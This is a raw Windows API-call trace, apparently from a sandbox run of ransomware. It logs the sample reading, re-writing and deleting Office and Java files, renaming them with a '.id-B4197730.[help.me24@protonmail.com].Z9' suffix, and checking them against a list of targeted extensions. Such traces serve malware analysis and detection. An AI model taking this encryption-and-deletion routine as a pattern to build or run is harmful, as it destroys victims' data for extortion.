	[0161.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0161.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0161.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0161.250] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0162.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0162.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0162.274] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.275] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0162.441] GetLastError () returned 0x0
	[0162.441] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x5b5, lpOverlapped=0x0) returned 1
	[0162.457] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0162.458] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.458] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xe8, lpOverlapped=0x0) returned 1
	[0162.458] SetEndOfFile (hFile=0x3d4) returned 1
	[0162.459] CloseHandle (hObject=0x3d4) returned 1
	[0162.459] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.459] SetEndOfFile (hFile=0x438) returned 1
	[0162.463] CloseHandle (hObject=0x438) returned 1
	[0162.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0162.464] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1
	[0162.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.465] lstrlenW (lpString=".doc") returned 4
	[0162.465] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0162.465] lstrlenW (lpString=".docx") returned 5
	[0162.465] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0162.465] lstrlenW (lpString=".pdf") returned 4
	[0162.465] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0162.465] lstrlenW (lpString=".xls") returned 4
	[0162.465] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0162.465] lstrlenW (lpString=".xlsx") returned 5
	[0162.465] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0162.465] lstrlenW (lpString=".ppt") returned 4
	[0162.465] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0162.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.465] lstrlenW (lpString=".zip") returned 4
	[0162.465] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0162.465] lstrlenW (lpString=".rar") returned 4
	[0162.465] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0162.465] lstrlenW (lpString=".bz2") returned 4
	[0162.465] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0162.465] lstrlenW (lpString=".7z") returned 3
	[0162.465] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0162.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.465] lstrlenW (lpString=".dbf") returned 4
	[0162.465] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0162.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.465] lstrlenW (lpString=".1cd") returned 4
	[0162.465] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0162.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.465] lstrlenW (lpString=".jpg") returned 4
	[0162.465] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0162.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.466] lstrlenW (lpString=".doc") returned 4
	[0162.466] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0162.466] lstrlenW (lpString=".docx") returned 5
	[0162.466] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0162.466] lstrlenW (lpString=".pdf") returned 4
	[0162.466] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0162.466] lstrlenW (lpString=".xls") returned 4
	[0162.466] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0162.466] lstrlenW (lpString=".xlsx") returned 5
	[0162.466] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0162.466] lstrlenW (lpString=".ppt") returned 4
	[0162.466] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0162.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.466] lstrlenW (lpString=".zip") returned 4
	[0162.466] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0162.466] lstrlenW (lpString=".rar") returned 4
	[0162.466] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0162.466] lstrlenW (lpString=".bz2") returned 4
	[0162.466] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0162.466] lstrlenW (lpString=".7z") returned 3
	[0162.466] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0162.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.466] lstrlenW (lpString=".dbf") returned 4
	[0162.466] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0162.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.466] lstrlenW (lpString=".1cd") returned 4
	[0162.466] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0162.466] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0162.466] lstrlenW (lpString=".jpg") returned 4
	[0162.466] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0162.467] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0162.467] lstrlenW (lpString="sunmscapi.jar") returned 13
	[0162.467] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0162.468] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=32699) returned 1
	[0162.468] CloseHandle (hObject=0x438) returned 1
	[0162.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20
	[0162.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.468] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0162.469] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.469] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.469] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0162.470] GetLastError () returned 0x0
	[0162.470] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x7fbb, lpOverlapped=0x0) returned 1
	[0162.501] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x7fc0, lpOverlapped=0x0) returned 1
	[0162.690] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.690] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xee, lpOverlapped=0x0) returned 1
	[0162.690] SetEndOfFile (hFile=0x3d4) returned 1
	[0162.691] CloseHandle (hObject=0x3d4) returned 1
	[0162.691] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.691] SetEndOfFile (hFile=0x438) returned 1
	[0162.695] CloseHandle (hObject=0x438) returned 1
	[0162.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0162.695] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1
	[0162.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.696] lstrlenW (lpString=".doc") returned 4
	[0162.696] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.696] lstrlenW (lpString=".docx") returned 5
	[0162.696] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0162.696] lstrlenW (lpString=".pdf") returned 4
	[0162.696] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.696] lstrlenW (lpString=".xls") returned 4
	[0162.696] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.696] lstrlenW (lpString=".xlsx") returned 5
	[0162.696] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0162.696] lstrlenW (lpString=".ppt") returned 4
	[0162.696] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.696] lstrlenW (lpString=".zip") returned 4
	[0162.696] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.696] lstrlenW (lpString=".rar") returned 4
	[0162.697] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.697] lstrlenW (lpString=".bz2") returned 4
	[0162.697] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.697] lstrlenW (lpString=".7z") returned 3
	[0162.697] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.697] lstrlenW (lpString=".dbf") returned 4
	[0162.697] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.697] lstrlenW (lpString=".1cd") returned 4
	[0162.697] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.697] lstrlenW (lpString=".jpg") returned 4
	[0162.697] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.697] lstrlenW (lpString=".doc") returned 4
	[0162.697] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.697] lstrlenW (lpString=".docx") returned 5
	[0162.697] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1
	[0162.697] lstrlenW (lpString=".pdf") returned 4
	[0162.697] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.697] lstrlenW (lpString=".xls") returned 4
	[0162.697] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.697] lstrlenW (lpString=".xlsx") returned 5
	[0162.697] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1
	[0162.697] lstrlenW (lpString=".ppt") returned 4
	[0162.697] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.697] lstrlenW (lpString=".zip") returned 4
	[0162.697] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.697] lstrlenW (lpString=".rar") returned 4
	[0162.697] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.697] lstrlenW (lpString=".bz2") returned 4
	[0162.697] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.697] lstrlenW (lpString=".7z") returned 3
	[0162.698] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.698] lstrlenW (lpString=".dbf") returned 4
	[0162.698] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.698] lstrlenW (lpString=".1cd") returned 4
	[0162.698] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56
	[0162.698] lstrlenW (lpString=".jpg") returned 4
	[0162.698] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.698] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0162.698] lstrlenW (lpString="flavormap.properties") returned 20
	[0162.698] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0162.698] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=3928) returned 1
	[0162.698] CloseHandle (hObject=0x438) returned 1
	[0162.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20
	[0162.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.894] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0162.894] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.894] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.894] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0162.895] GetLastError () returned 0x0
	[0162.895] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0xf58, lpOverlapped=0x0) returned 1
	[0162.902] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xf60, lpOverlapped=0x0) returned 1
	[0162.904] ReadFile (in: hFile=0x438, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.904] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xfc, lpOverlapped=0x0) returned 1
	[0162.904] SetEndOfFile (hFile=0x3d4) returned 1
	[0162.904] CloseHandle (hObject=0x3d4) returned 1
	[0162.905] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.905] SetEndOfFile (hFile=0x438) returned 1
	[0162.909] CloseHandle (hObject=0x438) returned 1
	[0162.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0162.910] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1
	[0162.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.911] lstrlenW (lpString=".doc") returned 4
	[0162.911] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0162.911] lstrlenW (lpString=".docx") returned 5
	[0162.911] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0162.911] lstrlenW (lpString=".pdf") returned 4
	[0162.911] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0162.911] lstrlenW (lpString=".xls") returned 4
	[0162.911] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0162.911] lstrlenW (lpString=".xlsx") returned 5
	[0162.911] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0162.911] lstrlenW (lpString=".ppt") returned 4
	[0162.911] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0162.911] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.911] lstrlenW (lpString=".zip") returned 4
	[0162.911] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0162.911] lstrlenW (lpString=".rar") returned 4
	[0162.911] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0162.911] lstrlenW (lpString=".bz2") returned 4
	[0162.911] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0162.911] lstrlenW (lpString=".7z") returned 3
	[0162.912] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.912] lstrlenW (lpString=".dbf") returned 4
	[0162.912] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.912] lstrlenW (lpString=".1cd") returned 4
	[0162.912] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.912] lstrlenW (lpString=".jpg") returned 4
	[0162.912] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.912] lstrlenW (lpString=".doc") returned 4
	[0162.912] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0162.912] lstrlenW (lpString=".docx") returned 5
	[0162.912] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0162.912] lstrlenW (lpString=".pdf") returned 4
	[0162.912] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0162.912] lstrlenW (lpString=".xls") returned 4
	[0162.912] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0162.912] lstrlenW (lpString=".xlsx") returned 5
	[0162.912] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0162.912] lstrlenW (lpString=".ppt") returned 4
	[0162.912] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.912] lstrlenW (lpString=".zip") returned 4
	[0162.913] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0162.913] lstrlenW (lpString=".rar") returned 4
	[0162.913] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0162.913] lstrlenW (lpString=".bz2") returned 4
	[0162.913] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0162.913] lstrlenW (lpString=".7z") returned 3
	[0162.913] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0162.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.913] lstrlenW (lpString=".dbf") returned 4
	[0162.913] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0162.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0162.913] lstrlenW (lpString=".1cd") returned 4
	[0162.913] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
